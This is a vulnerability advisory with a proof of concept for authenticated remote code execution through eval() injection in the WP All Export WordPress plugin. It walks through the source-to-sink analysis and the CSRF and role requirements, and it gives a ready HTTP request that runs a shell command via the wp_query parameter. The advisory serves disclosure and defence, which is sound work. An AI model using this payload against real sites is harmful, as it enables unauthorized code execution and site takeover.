
WP ALL Export (Free < 1.4.1, Pro < 1.8.6) - Multiple Authenticated Remote Code Execution
Author
Francesco Marano, Donato Di Pasquale
Affected product
WP ALL Export < 1.4.1 (WordPress plugin), WP ALL Export Pro < 1.8.6 (WordPress plugin)
References
Product description
WP All Export is a WordPress plugin that allows you to export any data in WordPress, including themes and plugins, to CSV, XML or other formats with a convenient drag & drop interface.
Vulnerability details
It is no mystery now that in Unlock Security we are big fans of SemGrep for doing code reviews. We often use it to write precise rules to automatically unearth complex patterns in code, following the flow of data from user input to potentially unsafe uses.
To do testing we usually use WordPress plugins because there are so many of them (90,000+) and because they are written by all possible types of programmers: individual novices, professionals, companies, ... each with their own way of writing code. Writing a good rule for SemGrep that gives neither too many false positives nor too many false negatives in this scenario is quite a feat, but it can lead to very satisfactory results.
During testing for the rule finding code injection type vulnerabilities, we experienced a match:
┌─────────────────┐
│ 3 Code Findings │
└─────────────────┘
./wp-content/plugins/wp-all-export/actions/wp_ajax_wpae_preview.php
php.wordpress-plugins.security.wp-sec-code-injection
Detected user input used as code or callback to execute. This is usually bad practice
because it could accidentally result in Remote Command Execution (RCE). An attacker could
use it to takeover the entire website.
125┆ $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));');
⋮┆----------------------------------------
128┆ $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));');
⋮┆----------------------------------------
135┆ $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));');Looking at these three snippets, it is clear that if we have a way to reach any of the reported lines of code and we have control over the value of $exportOptions['wp_query'], then we can execute arbitrary PHP code. Below is a simplified excerpt of the vulnerable code:
actions/wp_ajax_wpae_preview.php<?php /** * AJAX action for preview export row */ function pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } // … $values = array(); parse_str($_POST['data'], $values); if(is_array($values['cc_options'])) { // … } // … $exportOptions = $values + (PMXE_Plugin::$session->has_session() ? PMXE_Plugin::$session->get_clear_session_data() : array()) + PMXE_Plugin::get_default_import_options(); // … if ( 'advanced' == $exportOptions['export_type'] ) { if ( XmlExportEngine::$is_user_export ) { $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));'); } elseif ( XmlExportEngine::$is_comment_export ) { $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'number' => 10));'); } else { // … $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));'); } } // …
The flow of data from the user input(source) to the vulnerable function(sink) can be summarized as follows:
/* $_POST['data'] string is parsed as an array into $values */
parse_str($_POST['data'], $values);
/* $values is added into $exportOptions */
$exportOptions = $values + // …
/* $exportOptions['export_type'] must be 'advanced' to reach the vulnerable code */
if ( 'advanced' == $exportOptions['export_type'] )
{
/* We don't care of all the if clause since we have the same code in all of them and in the else clause too */
$exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));');The vulnerable code is located within the function pmxe_wp_ajax_wpae_preview in the folder actions/. Searching throughout the plugin code for the invocation of this function, there are no matches. Upon closer inspection, it can be seen that this function is registered as a WordPress AJAX action based on the name of the PHP file containing it; and this process is repeated for all PHP files in the same folder:
wp-all-export.php// register action handlers if (is_dir(self::ROOT_DIR . '/actions')) if (is_dir(self::ROOT_DIR . '/actions')) foreach (PMXE_Helper::safe_glob(self::ROOT_DIR . '/actions/*.php', PMXE_Helper::GLOB_RECURSE | PMXE_Helper::GLOB_PATH) as $filePath) { require_once $filePath; $function = $actionName = basename($filePath, '.php'); if (preg_match('%^(.+?)[_-](\d+)$%', $actionName, $m)) { $actionName = $m[1]; $priority = intval($m[2]); } else { $priority = 10; } add_action($actionName, self::PREFIX . str_replace('-', '_', $function), $priority, 99); // since we don't know at this point how many parameters each plugin expects, we make sure they will be provided with all of them (it's unlikely any developer will specify more than 99 parameters in a function) }
This means that in our case an authenticated AJAX action (prefix wp_ajax_) called wpae_preview will be registered that will invoke the vulnerable function pmxe_wp_ajax_wpae_preview.
We already know that we need to be authenticated to use this AJAX action, but what is the minimum role that our user must have? Are there any other prerequisites? The answer to these questions comes from the first lines of the vulnerable function:
actions/wp_ajax_wpae_preview.phpfunction pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); }
We first need our user to have the capability specified in PMXE_Plugin::$capabilities which corresponds to manage_options. This capability indicates the ability for a user to access and manage WordPress settings, so only the administrator user has it.
Secondly we need a valid CSRF token to pass with the parameter security and this can be easily searched in the HTML code of the main plugin page using just the keyword security:
Once we obtain a valid CSRF token and know that the vulnerable function is associated with an AJAX Action we can easily construct our payload. Let's look at the highlights of the function code pmxe_wp_ajax_wpae_preview:
- Being an AJAX Action the endpoint to be queried is
/wp-admin/wp-ajax.phpand the action to be invoked must be specified via the GET or POST parameteraction, in this casewpae_preview. - The CSRF token must be passed via the GET or POST parameter
security:if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } - Session cookies of a privileged user must be present:
if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } - The remainder of the data must be passed as a string in a single parameter
data:
This in particular means that if we have to pass two parameters$values = array(); parse_str($_POST['data'], $values);a=1andb=unlockwe will have to send them asa=1&b=unlockremembering to do a URL-encoding of the special characters to avoid breaking the syntax of the POST parameterdata, so in this case we will havedata=a=1%26b=unlock - A parameter
cc_optionsas part of the parameterdatawith any value that is not an array so as not to have an error when accessing a non-existing parameter, and at the same time that it is such that it does not make the condition true of theif(the less code you run before you get to the vulnerable one, the better):if(is_array($values['cc_options'])) - A parameter
export_type=advancedas part of the parameterdata:if ( 'advanced' == $exportOptions['export_type'] ) - A parameter
wp_queryas part of the parameterdatathat has as its value the code we want to execute:$exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', 'offset' => 0, 'posts_per_page' => 10));');
So the goal is to completely avoid the construction of the array, object, SQL query, etc., and have it directly return the output of the command we want to execute. In doing this we must also keep in mind that the use of single or double openers will send the vulnerable code into error, so we cannot use them.
A very good result can be achieved by using
exit(`<comando-da-eseguire>`). This executes the specified command and immediately terminates the execution of the PHP script using the output of the command response to the HTTP request.Proof of Concept
Therefore, the HTTP request to be used to exploit the vulnerability is as follows:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.example.com
User-Agent: whatever
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Cookie: <YOUR-ADMIN-COOKIES-HERE>
action=wpae_preview&security=<CSRF-TOKEN-HERE>&data=cc_options=%26export_type=advanced%26wp_query=exit(`id`)Disclosure timeline
18/08/2023
Vulnerability submitted to WPScan
01/09/2023
Assigned CVE-2023-4724
31/10/2023
Assigned CVE-2023-5882
13/11/2023
Official fix released
21/11/2023
Advisory published by WPScan
07/12/2023
Proof of Concept (PoC) published


